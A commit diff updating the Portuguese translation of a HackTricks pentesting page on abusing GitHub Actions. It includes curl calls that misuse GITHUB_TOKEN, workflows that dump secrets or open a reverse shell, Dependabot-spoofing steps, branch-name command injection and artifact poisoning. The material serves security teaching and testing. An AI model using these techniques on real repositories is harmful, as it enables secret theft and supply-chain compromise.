mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 11:26:11 -08:00
Translated ['', 'src/pentesting-ci-cd/github-security/basic-github-infor
This commit is contained in:
@@ -1,58 +1,58 @@
|
||||
# Abusando do Github Actions
|
||||
# Abusando de Github Actions
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Ferramentas
|
||||
|
||||
As seguintes ferramentas são úteis para encontrar fluxos de trabalho do Github Action e até mesmo encontrar aqueles vulneráveis:
|
||||
As seguintes ferramentas são úteis para encontrar Github Action workflows e até localizar ones vulneráveis:
|
||||
|
||||
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
|
||||
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
|
||||
- [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
|
||||
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
|
||||
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Confira também sua lista de verificação em [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
|
||||
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Confira também seu checklist em [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
Nesta página você encontrará:
|
||||
|
||||
- Um **resumo de todos os impactos** de um atacante conseguindo acessar um Github Action
|
||||
- Diferentes maneiras de **obter acesso a uma ação**:
|
||||
- Ter **permissões** para criar a ação
|
||||
- Abusar de **gatilhos** relacionados a pull requests
|
||||
- Abusar de **outras técnicas de acesso externo**
|
||||
- **Pivotar** de um repositório já comprometido
|
||||
- Finalmente, uma seção sobre **técnicas de pós-exploração para abusar de uma ação de dentro** (causando os impactos mencionados)
|
||||
- Um **resumo de todos os impactos** caso um atacante consiga acesso a um Github Action
|
||||
- Diferentes maneiras de **obter acesso a uma action**:
|
||||
- Ter **permissões** para criar a action
|
||||
- Abusar gatilhos relacionados a **pull request**
|
||||
- Abusar outras técnicas de **external access**
|
||||
- **Pivoting** a partir de um repo já comprometido
|
||||
- Finalmente, uma seção sobre **post-exploitation** para abusar de uma action por dentro (causar os impactos mencionados)
|
||||
|
||||
## Resumo dos Impactos
|
||||
|
||||
Para uma introdução sobre [**Github Actions, confira as informações básicas**](../basic-github-information.md#github-actions).
|
||||
Para uma introdução sobre [**Github Actions verifique as informações básicas**](../basic-github-information.md#github-actions).
|
||||
|
||||
Se você pode **executar código arbitrário no GitHub Actions** dentro de um **repositório**, você pode ser capaz de:
|
||||
Se você pode **executar código arbitrário em GitHub Actions** dentro de um **repositório**, você pode ser capaz de:
|
||||
|
||||
- **Roubar segredos** montados no pipeline e **abusar dos privilégios do pipeline** para obter acesso não autorizado a plataformas externas, como AWS e GCP.
|
||||
- **Comprometer implantações** e outros **artefatos**.
|
||||
- Se o pipeline implanta ou armazena ativos, você poderia alterar o produto final, possibilitando um ataque à cadeia de suprimentos.
|
||||
- **Executar código em trabalhadores personalizados** para abusar do poder computacional e pivotar para outros sistemas.
|
||||
- **Roubar secrets** montados no pipeline e **abusar dos privilégios do pipeline** para obter acesso não autorizado a plataformas externas, como AWS e GCP.
|
||||
- **Comprometer deployments** e outros **artifacts**.
|
||||
- Se o pipeline deploya ou armazena assets, você pode alterar o produto final, permitindo um supply chain attack.
|
||||
- **Executar código em custom workers** para abusar da capacidade de computação e pivotar para outros sistemas.
|
||||
- **Sobrescrever o código do repositório**, dependendo das permissões associadas ao `GITHUB_TOKEN`.
|
||||
|
||||
## GITHUB_TOKEN
|
||||
|
||||
Este "**segredo**" (vindo de `${{ secrets.GITHUB_TOKEN }}` e `${{ github.token }}`) é fornecido quando o administrador habilita esta opção:
|
||||
This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
|
||||
|
||||
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Este token é o mesmo que uma **Aplicação do Github usará**, então pode acessar os mesmos endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
|
||||
> [!WARNING]
|
||||
> O Github deve lançar um [**fluxo**](https://github.com/github/roadmap/issues/74) que **permita acesso entre repositórios** dentro do GitHub, para que um repositório possa acessar outros repositórios internos usando o `GITHUB_TOKEN`.
|
||||
> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
|
||||
|
||||
Você pode ver as possíveis **permissões** deste token em: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
|
||||
Note que o token **expira após a conclusão do trabalho**.\
|
||||
Esses tokens se parecem com isto: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
Note that the token **expires after the job has completed**.\
|
||||
These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
|
||||
Algumas coisas interessantes que você pode fazer com este token:
|
||||
Some interesting things you can do with this token:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Merge PR" }}
|
||||
@@ -66,7 +66,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
|
||||
-d "{\"commit_title\":\"commit_title\"}"
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="Aprovar PR" }}
|
||||
{{#tab name="Approve PR" }}
|
||||
```bash
|
||||
# Approve a PR
|
||||
curl -X POST \
|
||||
@@ -77,7 +77,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
|
||||
-d '{"event":"APPROVE"}'
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="Criar PR" }}
|
||||
{{#tab name="Create PR" }}
|
||||
```bash
|
||||
# Create a PR
|
||||
curl -X POST \
|
||||
@@ -91,11 +91,11 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
|
||||
{{#endtabs }}
|
||||
|
||||
> [!CAUTION]
|
||||
> Note que em várias ocasiões você poderá encontrar **tokens de usuário do github dentro das envs do Github Actions ou nos segredos**. Esses tokens podem lhe dar mais privilégios sobre o repositório e a organização.
|
||||
> Observe que, em várias ocasiões, você poderá encontrar **github user tokens inside Github Actions envs or in the secrets**. Esses tokens podem lhe conceder mais privilégios sobre o repositório e a organização.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Listar segredos na saída do Github Action</summary>
|
||||
<summary>Listar secrets na saída do Github Action</summary>
|
||||
```yaml
|
||||
name: list_env
|
||||
on:
|
||||
@@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Obter shell reverso com segredos</summary>
|
||||
<summary>Obter reverse shell com secrets</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
@@ -144,26 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
</details>
|
||||
|
||||
É possível verificar as permissões concedidas a um Github Token em repositórios de outros usuários **verificando os logs** das ações:
|
||||
É possível verificar as permissões concedidas a um Github Token em repositórios de outros usuários **verificando os logs** das actions:
|
||||
|
||||
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
|
||||
|
||||
## Execução Permitida
|
||||
|
||||
> [!NOTE]
|
||||
> Esta seria a maneira mais fácil de comprometer ações do Github, já que este caso supõe que você tenha acesso para **criar um novo repositório na organização**, ou tenha **privilegios de escrita sobre um repositório**.
|
||||
> Esta seria a maneira mais fácil de comprometer Github actions, já que este caso supõe que você tem acesso para **create a new repo in the organization**, ou possui **write privileges over a repository**.
|
||||
>
|
||||
> Se você estiver nesse cenário, pode apenas verificar as [técnicas de Pós Exploração](#post-exploitation-techniques-from-inside-an-action).
|
||||
> Se você estiver neste cenário, pode consultar [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
|
||||
|
||||
### Execução a partir da Criação de Repositório
|
||||
### Execução a partir da criação do repo
|
||||
|
||||
Caso membros de uma organização possam **criar novos repositórios** e você possa executar ações do github, você pode **criar um novo repositório e roubar os segredos definidos no nível da organização**.
|
||||
No caso de membros de uma organização poderem **create new repos** e você puder executar github actions, você pode **create a new repo and steal the secrets set at organization level**.
|
||||
|
||||
### Execução a partir de um Novo Branch
|
||||
### Execução a partir de uma nova branch
|
||||
|
||||
Se você puder **criar um novo branch em um repositório que já contém uma Ação do Github** configurada, você pode **modificá-la**, **carregar** o conteúdo e então **executar essa ação a partir do novo branch**. Dessa forma, você pode **exfiltrar segredos em nível de repositório e organização** (mas você precisa saber como eles são chamados).
|
||||
Se você puder **create a new branch in a repository that already contains a Github Action** configurada, você pode **modify** a action, **upload** o conteúdo e então **execute that action from the new branch**. Dessa forma você pode **exfiltrate repository and organization level secrets** (mas é preciso saber como eles são chamados).
|
||||
|
||||
Você pode tornar a ação modificada executável **manualmente,** quando um **PR é criado** ou quando **algum código é enviado** (dependendo de quão barulhento você quer ser):
|
||||
> [!WARNING]
|
||||
> Qualquer restrição implementada apenas dentro do workflow YAML (por exemplo, `on: push: branches: [main]`, job conditionals, ou manual gates) pode ser editada por colaboradores. Sem aplicação externa (branch protections, protected environments, e protected tags), um contribuidor pode redirecionar um workflow para rodar na sua branch e abusar dos mounted secrets/permissions.
|
||||
|
||||
Você pode tornar a action modificada executável **manualmente,** quando um **PR é criado** ou quando **algum código é pushed** (dependendo de quão ruidoso você quer ser):
|
||||
```yaml
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
@@ -177,49 +180,49 @@ branches:
|
||||
```
|
||||
---
|
||||
|
||||
## Execução Forked
|
||||
## Execução a partir de fork
|
||||
|
||||
> [!NOTE]
|
||||
> Existem diferentes gatilhos que podem permitir que um atacante **execute uma Github Action de outro repositório**. Se essas ações acionáveis forem mal configuradas, um atacante poderá comprometê-las.
|
||||
> Existem diferentes triggers que podem permitir que um atacante **execute um Github Action de outro repositório**. Se essas ações acionáveis estiverem mal configuradas, um atacante pode ser capaz de comprometer elas.
|
||||
|
||||
### `pull_request`
|
||||
|
||||
O gatilho de workflow **`pull_request`** executará o workflow toda vez que um pull request for recebido, com algumas exceções: por padrão, se for a **primeira vez** que você está **colaborando**, algum **mantenedor** precisará **aprovar** a **execução** do workflow:
|
||||
O workflow trigger **`pull_request`** vai executar o workflow toda vez que um pull request for recebido, com algumas exceções: por padrão, se for a **primeira vez** que você está **colaborando**, algum **mantenedor** precisará **aprovar** a **execução** do workflow:
|
||||
|
||||
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> Como a **limitação padrão** é para **contribuidores de primeira viagem**, você poderia contribuir **corrigindo um bug/erro válido** e então enviar **outros PRs para abusar de seus novos privilégios de `pull_request`**.
|
||||
> Como a **limitação padrão** é para contribuintes **na primeira vez**, você poderia contribuir **corrigindo um bug/typo válido** e então enviar **outros PRs para abusar de seus novos `pull_request` privilégios**.
|
||||
>
|
||||
> **Eu testei isso e não funciona**: ~~Outra opção seria criar uma conta com o nome de alguém que contribuiu para o projeto e deletou sua conta.~~
|
||||
> **Eu testei isso e não funciona**: ~~Outra opção seria criar uma conta com o nome de alguém que contribuiu para o projeto e deletar a conta dele.~~
|
||||
|
||||
Além disso, por padrão **impede permissões de escrita** e **acesso a segredos** no repositório alvo, conforme mencionado na [**documentação**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
|
||||
Além disso, por padrão **impede permissões de escrita** e **acesso a secrets** ao repositório alvo como mencionado na [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
|
||||
|
||||
> Com a exceção de `GITHUB_TOKEN`, **segredos não são passados para o runner** quando um workflow é acionado de um repositório **forked**. O **`GITHUB_TOKEN` tem permissões de leitura** em pull requests **de repositórios forked**.
|
||||
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
|
||||
|
||||
Um atacante poderia modificar a definição da Github Action para executar coisas arbitrárias e adicionar ações arbitrárias. No entanto, ele não poderá roubar segredos ou sobrescrever o repositório devido às limitações mencionadas.
|
||||
Um atacante poderia modificar a definição do Github Action para executar coisas arbitrárias e anexar ações arbitrárias. Entretanto, ele não conseguirá roubar secrets ou sobrescrever o repositório por causa das limitações mencionadas.
|
||||
|
||||
> [!CAUTION]
|
||||
> **Sim, se o atacante mudar no PR a github action que será acionada, sua Github Action será a utilizada e não a do repositório de origem!**
|
||||
> **Sim, se o atacante alterar no PR o Github Action que será disparado, o Github Action dele será o que será usado e não o do repositório de origem!**
|
||||
|
||||
Como o atacante também controla o código sendo executado, mesmo que não haja segredos ou permissões de escrita no `GITHUB_TOKEN`, um atacante poderia, por exemplo, **fazer upload de artefatos maliciosos**.
|
||||
Como o atacante também controla o código que está sendo executado, mesmo que não existam secrets ou permissões de escrita no `GITHUB_TOKEN`, um atacante poderia por exemplo **fazer upload de artefatos maliciosos**.
|
||||
|
||||
### **`pull_request_target`**
|
||||
|
||||
O gatilho de workflow **`pull_request_target`** tem **permissão de escrita** no repositório alvo e **acesso a segredos** (e não pede permissão).
|
||||
O workflow trigger **`pull_request_target`** tem **permissão de escrita** no repositório alvo e **acesso a secrets** (e não pede permissão).
|
||||
|
||||
Note que o gatilho de workflow **`pull_request_target`** **executa no contexto base** e não no fornecido pelo PR (para **não executar código não confiável**). Para mais informações sobre `pull_request_target`, [**verifique a documentação**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Além disso, para mais informações sobre esse uso específico e perigoso, confira este [**post no blog do github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
|
||||
Observe que o workflow trigger **`pull_request_target`** **é executado no contexto base** e não no fornecido pelo PR (para **não executar código não confiável**). Para mais informações sobre `pull_request_target` [**consulte a documentação**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Além disso, para mais informações sobre esse uso específico e perigoso, confira este [**post do blog do github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
|
||||
|
||||
Pode parecer que, como o **workflow executado** é o definido no **base** e **não no PR**, é **seguro** usar **`pull_request_target`**, mas há **alguns casos em que não é**.
|
||||
Pode parecer que, porque o **workflow executado** é o definido no **base** e **não no PR**, é **seguro** usar **`pull_request_target`**, mas há **alguns casos em que não é**.
|
||||
|
||||
E este terá **acesso a segredos**.
|
||||
E este terá **acesso a secrets**.
|
||||
|
||||
### `workflow_run`
|
||||
|
||||
O gatilho [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) permite executar um workflow a partir de outro quando está `completo`, `solicitado` ou `em progresso`.
|
||||
O [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger permite executar um workflow a partir de outro quando ele está `completed`, `requested` ou `in_progress`.
|
||||
|
||||
Neste exemplo, um workflow é configurado para ser executado após a conclusão do workflow separado "Executar Testes":
|
||||
Neste exemplo, um workflow está configurado para executar após a conclusão do workflow separado "Run Tests":
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
@@ -227,31 +230,31 @@ workflows: [Run Tests]
|
||||
types:
|
||||
- completed
|
||||
```
|
||||
Além disso, de acordo com a documentação: O fluxo de trabalho iniciado pelo evento `workflow_run` é capaz de **acessar segredos e escrever tokens, mesmo que o fluxo de trabalho anterior não tenha**.
|
||||
Além disso, de acordo com a documentação: O workflow iniciado pelo evento `workflow_run` é capaz de **acessar secrets e write tokens, mesmo que o workflow anterior não fosse**.
|
||||
|
||||
Esse tipo de fluxo de trabalho pode ser atacado se **depender** de um **fluxo de trabalho** que pode ser **disparado** por um usuário externo via **`pull_request`** ou **`pull_request_target`**. Alguns exemplos vulneráveis podem ser [**encontrados neste blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** O primeiro consiste no fluxo de trabalho acionado por **`workflow_run`** baixando o código dos atacantes: `${{ github.event.pull_request.head.sha }}`\
|
||||
O segundo consiste em **passar** um **artefato** do código **não confiável** para o fluxo de trabalho **`workflow_run`** e usar o conteúdo desse artefato de uma maneira que o torne **vulnerável a RCE**.
|
||||
Esse tipo de workflow pode ser atacado se ele estiver **dependendo** de um **workflow** que pode ser **triggered** por um usuário externo via **`pull_request`** ou **`pull_request_target`**. Alguns exemplos vulneráveis podem ser [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** O primeiro consiste no workflow acionado por **`workflow_run`** baixando o código do atacante: `${{ github.event.pull_request.head.sha }}`\
|
||||
O segundo consiste em **passar** um **artifact** do código **untrusted** para o workflow **`workflow_run`** e usar o conteúdo desse artifact de uma forma que o torna **vulnerável a RCE**.
|
||||
|
||||
### `workflow_call`
|
||||
|
||||
TODO
|
||||
|
||||
TODO: Verificar se, quando executado a partir de um pull_request, o código usado/baixado é o do origin ou do PR bifurcado
|
||||
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
|
||||
|
||||
## Abusando da Execução Bifurcada
|
||||
## Abusando da Execução a partir de Forks
|
||||
|
||||
Mencionamos todas as maneiras que um atacante externo poderia conseguir fazer um fluxo de trabalho do github executar, agora vamos dar uma olhada em como essas execuções, se mal configuradas, poderiam ser abusadas:
|
||||
Mencionamos todas as maneiras pelas quais um atacante externo poderia conseguir fazer um workflow do GitHub executar; agora vamos ver como essas execuções, se mal configuradas, podem ser abusadas:
|
||||
|
||||
### Execução de checkout não confiável
|
||||
|
||||
No caso de **`pull_request`,** o fluxo de trabalho será executado no **contexto do PR** (então executará o **código malicioso do PR**), mas alguém precisa **autorizá-lo primeiro** e ele será executado com algumas [limitações](#pull_request).
|
||||
No caso de **`pull_request`**, o workflow vai ser executado no **contexto do PR** (portanto ele irá executar o **código malicioso do PR**), mas alguém precisa **autorizar primeiro** e ele vai rodar com algumas [limitações](#pull_request).
|
||||
|
||||
No caso de um fluxo de trabalho usando **`pull_request_target` ou `workflow_run`** que depende de um fluxo de trabalho que pode ser acionado a partir de **`pull_request_target` ou `pull_request`**, o código do repositório original será executado, então o **atacante não pode controlar o código executado**.
|
||||
No caso de um workflow usando **`pull_request_target` or `workflow_run`** que dependa de um workflow que pode ser triggerado por **`pull_request_target` or `pull_request`**, o código do repositório original será executado, então o **atacante não pode controlar o código executado**.
|
||||
|
||||
> [!CAUTION]
|
||||
> No entanto, se a **ação** tiver um **checkout de PR explícito** que **obterá o código do PR** (e não da base), usará o código controlado pelos atacantes. Por exemplo (ver linha 12 onde o código do PR é baixado):
|
||||
> No entanto, se a **action** tiver um **PR checkout explícito** que vai **obter o código do PR** (e não do base), ele irá usar o código controlado pelo atacante. Por exemplo (veja a linha 12 onde o código do PR é baixado):
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Fornecido apenas como exemplo.
|
||||
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
|
||||
on:
|
||||
pull_request_target
|
||||
|
||||
@@ -279,32 +282,32 @@ message: |
|
||||
Thank you!
|
||||
</code></pre>
|
||||
|
||||
O código potencialmente **não confiável está sendo executado durante `npm install` ou `npm build`** já que os scripts de build e os **pacotes referenciados são controlados pelo autor do PR**.
|
||||
O código potencialmente **untrusted está sendo executado durante `npm install` ou `npm build`** já que os scripts de build e os **packages referenciados são controlados pelo autor do PR**.
|
||||
|
||||
> [!WARNING]
|
||||
> Um dork do github para procurar ações vulneráveis é: `event.pull_request pull_request_target extension:yml`, no entanto, existem diferentes maneiras de configurar os jobs para serem executados de forma segura, mesmo que a ação esteja configurada de forma insegura (como usar condicionais sobre quem é o ator gerando o PR).
|
||||
> Um github dork para procurar por actions vulneráveis é: `event.pull_request pull_request_target extension:yml` no entanto, existem diferentes formas de configurar os jobs para serem executados de forma segura mesmo se a action estiver configurada de forma insegura (como usar condicionais sobre quem é o actor que gera o PR).
|
||||
|
||||
### Injeções de Script de Contexto <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
|
||||
Observe que existem certos [**contextos do github**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) cujos valores são **controlados** pelo **usuário** que cria o PR. Se a ação do github estiver usando esses **dados para executar qualquer coisa**, isso pode levar à **execução de código arbitrário:**
|
||||
Note que existem certos [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) cujos valores são **controlados** pelo **usuário** que cria o PR. Se a github action estiver usando esses **dados para executar qualquer coisa**, isso pode levar a **execução arbitrária de código:**
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-context-script-injections.md
|
||||
{{#endref}}
|
||||
|
||||
### **Injeção de Script GITHUB_ENV** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
### **GITHUB_ENV** Injeção de Script <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
|
||||
De acordo com a documentação: Você pode tornar uma **variável de ambiente disponível para quaisquer etapas subsequentes** em um job de fluxo de trabalho definindo ou atualizando a variável de ambiente e escrevendo isso no arquivo de ambiente **`GITHUB_ENV`**.
|
||||
Segundo a documentação: Você pode tornar uma **variável de ambiente disponível para quaisquer passos subsequentes** em um job de workflow definindo ou atualizando a variável de ambiente e escrevendo isso no arquivo de ambiente **`GITHUB_ENV`**.
|
||||
|
||||
Se um atacante puder **injetar qualquer valor** dentro dessa **variável env**, ele poderá injetar variáveis de ambiente que poderiam executar código nas etapas seguintes, como **LD_PRELOAD** ou **NODE_OPTIONS**.
|
||||
Se um atacante puder **injetar qualquer valor** dentro dessa variável de **env**, ele poderia injetar variáveis de ambiente que poderiam executar código em passos seguintes, como **LD_PRELOAD** ou **NODE_OPTIONS**.
|
||||
|
||||
Por exemplo ([**isso**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) e [**isso**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine um fluxo de trabalho que confia em um artefato carregado para armazenar seu conteúdo dentro da variável de ambiente **`GITHUB_ENV`**. Um atacante poderia carregar algo assim para comprometê-lo:
|
||||
Por exemplo ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine um workflow que confia em um artifact enviado para armazenar seu conteúdo dentro da variável de env **`GITHUB_ENV`**. Um atacante poderia enviar algo como isto para comprometer:
|
||||
|
||||
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Dependabot e outros bots confiáveis
|
||||
### Dependabot and other trusted bots
|
||||
|
||||
Conforme indicado em [**este post do blog**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), várias organizações têm uma Ação do Github que mescla qualquer PRR do `dependabot[bot]`, como em:
|
||||
Como indicado em [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), várias organizações têm uma Github Action que mescla qualquer PR de `dependabot[bot]` como em:
|
||||
```yaml
|
||||
on: pull_request_target
|
||||
jobs:
|
||||
@@ -314,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
|
||||
steps:
|
||||
- run: gh pr merge $ -d -m
|
||||
```
|
||||
Qual é um problema porque o campo `github.actor` contém o usuário que causou o último evento que acionou o fluxo de trabalho. E há várias maneiras de fazer o usuário `dependabot[bot]` modificar um PR. Por exemplo:
|
||||
O que é um problema porque o campo `github.actor` contém o usuário que causou o evento mais recente que acionou o workflow. E há várias maneiras de fazer com que o usuário `dependabot[bot]` modifique um PR. Por exemplo:
|
||||
|
||||
- Fork o repositório da vítima
|
||||
- Adicione o payload malicioso à sua cópia
|
||||
- Ative o Dependabot no seu fork adicionando uma dependência desatualizada. O Dependabot criará um branch corrigindo a dependência com código malicioso.
|
||||
- Abra um Pull Request para o repositório da vítima a partir desse branch (o PR será criado pelo usuário, então nada acontecerá ainda)
|
||||
- Então, o atacante volta para o PR inicial que o Dependabot abriu em seu fork e executa `@dependabot recreate`
|
||||
- Então, o Dependabot realiza algumas ações nesse branch, que modificaram o PR sobre o repositório da vítima, o que faz com que `dependabot[bot]` seja o ator do último evento que acionou o fluxo de trabalho (e, portanto, o fluxo de trabalho é executado).
|
||||
- Fazer fork do repositório da vítima
|
||||
- Adicionar o payload malicioso à sua cópia
|
||||
- Habilitar Dependabot no seu fork adicionando uma dependência desatualizada. Dependabot criará um branch corrigindo a dependência com código malicioso.
|
||||
- Abrir um Pull Request para o repositório da vítima a partir desse branch (o PR será criado pelo usuário, então nada acontecerá ainda)
|
||||
- Então, o atacante volta ao PR inicial que o Dependabot abriu no seu fork e executa `@dependabot recreate`
|
||||
- Então, o Dependabot realiza algumas ações nesse branch, que modificam o PR no repositório da vítima, o que faz com que `dependabot[bot]` seja o ator do evento mais recente que acionou o workflow (e, portanto, o workflow é executado).
|
||||
|
||||
Seguindo em frente, e se em vez de mesclar, a Github Action tivesse uma injeção de comando como em:
|
||||
Indo em frente, e se em vez de mesclar a Github Action tivesse uma command injection como em:
|
||||
```yaml
|
||||
on: pull_request_target
|
||||
jobs:
|
||||
@@ -333,24 +336,24 @@ if: ${ { github.actor == 'dependabot[bot]' }}
|
||||
steps:
|
||||
- run: echo ${ { github.event.pull_request.head.ref }}
|
||||
```
|
||||
Bem, o post original do blog propõe duas opções para abusar desse comportamento, sendo a segunda:
|
||||
Bem, o blogpost original propõe duas opções para abusar desse comportamento, sendo a segunda:
|
||||
|
||||
- Fork o repositório da vítima e ative o Dependabot com alguma dependência desatualizada.
|
||||
- Crie uma nova branch com o código de injeção de shell malicioso.
|
||||
- Altere a branch padrão do repositório para essa.
|
||||
- Crie um PR a partir dessa branch para o repositório da vítima.
|
||||
- Execute `@dependabot merge` no PR que o Dependabot abriu em seu fork.
|
||||
- O Dependabot irá mesclar suas alterações na branch padrão do seu repositório forkado, atualizando o PR no repositório da vítima, fazendo agora com que o `dependabot[bot]` seja o ator do último evento que acionou o fluxo de trabalho e usando um nome de branch malicioso.
|
||||
- Fork o repositório da vítima e habilite o Dependabot com alguma dependência desatualizada.
|
||||
- Crie uma nova branch com o código de shell injection malicioso.
|
||||
- Altere o branch padrão do repo para essa.
|
||||
- Crie um PR dessa branch para o repositório da vítima.
|
||||
- Execute `@dependabot merge` no PR que o Dependabot abriu no fork dele.
|
||||
- O Dependabot irá mesclar suas mudanças no branch padrão do seu fork, atualizando o PR no repositório da vítima, fazendo agora com que o `dependabot[bot]` seja o ator do último evento que acionou o workflow e usando um nome de branch malicioso.
|
||||
|
||||
### Ações do Github de Terceiros Vulneráveis
|
||||
### Vulnerable Third Party Github Actions
|
||||
|
||||
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
|
||||
|
||||
Como mencionado em [**este post do blog**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), esta Ação do Github permite acessar artefatos de diferentes fluxos de trabalho e até mesmo repositórios.
|
||||
As mencionado em [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), esta Github Action permite acessar artifacts de diferentes workflows e até repositories.
|
||||
|
||||
O problema é que se o parâmetro **`path`** não estiver definido, o artefato é extraído no diretório atual e pode sobrescrever arquivos que poderiam ser usados ou até executados no fluxo de trabalho. Portanto, se o Artefato for vulnerável, um atacante poderia abusar disso para comprometer outros fluxos de trabalho que confiam no Artefato.
|
||||
O problema é que, se o parâmetro **`path`** não for definido, o artifact é extraído no diretório atual e pode sobrescrever arquivos que depois podem ser usados ou até executados no workflow. Portanto, se o Artifact for vulnerável, um atacante pode abusar disso para comprometer outros workflows que confiam no Artifact.
|
||||
|
||||
Exemplo de fluxo de trabalho vulnerável:
|
||||
Exemplo de workflow vulnerável:
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
@@ -373,7 +376,7 @@ with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
```
|
||||
Isso pode ser atacado com este fluxo de trabalho:
|
||||
Isto pode ser atacado com este workflow:
|
||||
```yaml
|
||||
name: "some workflow"
|
||||
on: pull_request
|
||||
@@ -390,35 +393,35 @@ path: ./script.py
|
||||
```
|
||||
---
|
||||
|
||||
## Outro Acesso Externo
|
||||
## Outros Acessos Externos
|
||||
|
||||
### Sequestro de Repositório de Namespace Deletado
|
||||
### Deleted Namespace Repo Hijacking
|
||||
|
||||
Se uma conta mudar seu nome, outro usuário poderá registrar uma conta com esse nome após algum tempo. Se um repositório tinha **menos de 100 estrelas antes da mudança de nome**, o Github permitirá que o novo usuário registrado com o mesmo nome crie um **repositório com o mesmo nome** do que foi deletado.
|
||||
